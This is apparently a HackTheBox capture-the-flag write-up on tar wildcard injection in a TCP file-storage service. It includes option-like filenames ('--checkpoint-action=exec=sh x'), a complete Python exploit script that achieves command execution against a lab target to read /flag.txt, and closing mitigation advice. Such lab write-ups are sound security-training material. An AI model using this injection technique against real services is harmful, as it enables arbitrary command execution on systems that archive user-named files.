$ cat writeup.md…
$ cat writeup.md…
hackthebox
Task: TCP file storage service with filename filtering. Solution: Tar wildcard injection via --checkpoint-action to achieve RCE by uploading filenames that tar interprets as options.
A group of people made a network service that lets you store files temporarily. But they made a mistake coding their script. The goal is to leak the contents of /flag.txt.
Target: 83.136.249.164:31556 (TCP network service)
The service ("Micro Storage v1.0") is a TCP-based file storage application with the following menu:
| Option | Function |
|---|---|
| 1 | Upload a new file (max 10 files, filename ≤ 32 chars, content terminated by EOF) |
| 2 | List uploaded files (shows identifiers 0–9) |
| 3 | Delete a file by identifier |
| 4 | Print file content by identifier |
| 5 | Compress and download all files — creates a tar archive, base64-encodes, outputs |
| 0 | Quit |
The service blocks certain characters in filenames:
/, ../, $, &, (, {, `, <, |, ;Filenames starting with -- (double dash) pass all filters. This is the critical oversight.
Option 5 ("Compress and download") internally runs tar with a shell wildcard (*) to archive all uploaded files in the user's storage directory:
tar cf archive.tar *
When the shell expands *, filenames that look like command-line arguments (starting with --) are interpreted by tar as options, not as filenames. This is a well-known technique documented on GTFOBins.
| Option | Effect |
|---|---|
--checkpoint=N | Triggers a checkpoint action every N records |
--checkpoint-action=exec=CMD | Executes CMD at each checkpoint |
By uploading files whose names are these tar options, we can achieve arbitrary command execution when the service runs tar cf archive.tar *.
The --checkpoint-action=exec=CMD filename must fit within 32 characters. Solution: use a single-character script filename (x) so the full option --checkpoint-action=exec=sh x is only 29 characters.
Upload a file named x with content cat /flag.txt. This serves as the payload script.
Upload a file named --checkpoint=1. After wildcard expansion, tar interprets this as the --checkpoint=1 option.
Upload a file named --checkpoint-action=exec=sh x (29 chars, fits within 32-char limit). This tells tar to execute sh x at each checkpoint.
Select option 5. The service runs:
tar cf archive.tar *
After wildcard expansion, this becomes:
tar cf archive.tar --checkpoint=1 --checkpoint-action=exec=sh\ x x
Tar executes sh x → cat /flag.txt, and the flag appears in the output before the base64-encoded archive.
#!/usr/bin/env python3 """ Micro Storage v1.0 — Tar Wildcard Injection Exploit HackTheBox Labs """ import socket import select import time def recv_available(s, timeout=1.5): """Receive all available data from socket with timeout.""" data = b'' while True: ready = select.select([s], [], [], timeout) if ready[0]: chunk = s.recv(4096) if not chunk: break data += chunk timeout = 0.3 else: break return data.decode(errors='replace') def upload_file(s, filename, content): """Upload a file to the service.""" s.sendall(b'1\n') time.sleep(0.3); recv_available(s) s.sendall(filename.encode() + b'\n') time.sleep(0.3); recv_available(s) s.sendall(content.encode() + b'\nEOF\n') time.sleep(0.5); recv_available(s, 2) # Connect s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('83.136.249.164', 31556)) time.sleep(1) banner = recv_available(s, 2) print(f"[*] Connected:\n{banner[:200]}") # Step 1: Upload script file print("[+] Uploading payload script 'x'...") upload_file(s, 'x', 'cat /flag.txt') # Step 2: Upload checkpoint trigger print("[+] Uploading '--checkpoint=1'...") upload_file(s, '--checkpoint=1', 'a') # Step 3: Upload checkpoint action print("[+] Uploading '--checkpoint-action=exec=sh x'...") upload_file(s, '--checkpoint-action=exec=sh x', 'a') # Step 4: Trigger tar wildcard injection print("[+] Triggering compress (option 5)...") s.sendall(b'5\n') time.sleep(5) result = recv_available(s, 5) print(f"[*] Output:\n{result[:500]}") s.close()
┌─────────────────────────────────────────────────────┐
│ Uploaded Files │
│ │
│ x → contains "cat /flag.txt"│
│ --checkpoint=1 → tar interprets as option│
│ --checkpoint-action=exec=sh x → tar option: run sh x│
└──────────────────────┬──────────────────────────────┘
│
▼ Option 5: Compress
┌─────────────────┐
│ tar cf arch * │
└────────┬────────┘
│ shell wildcard expansion
▼
tar cf arch --checkpoint=1 --checkpoint-action=exec=sh\ x x
│
▼ checkpoint triggers
sh x → cat /flag.txt
│
▼
HTB{@bus1Ng_gTf0_b1N$_c4n_b3_fUn_...}
Use this technique when:
tar with a wildcard (*) to archive user-controlled files-- (double dash) prefixTo prevent this attack:
* with tar — enumerate files explicitly-- before the file list: tar cf archive.tar -- * (separates options from arguments)-- in filenames — block filenames starting with a dash./ prefix: tar cf archive.tar ./* (all names start with ./, not interpreted as options)$ cat /etc/motd
Liked this one?
Pro unlocks every writeup, every flag, and API access. $9/mo.
$ cat pricing.md$ grep --similar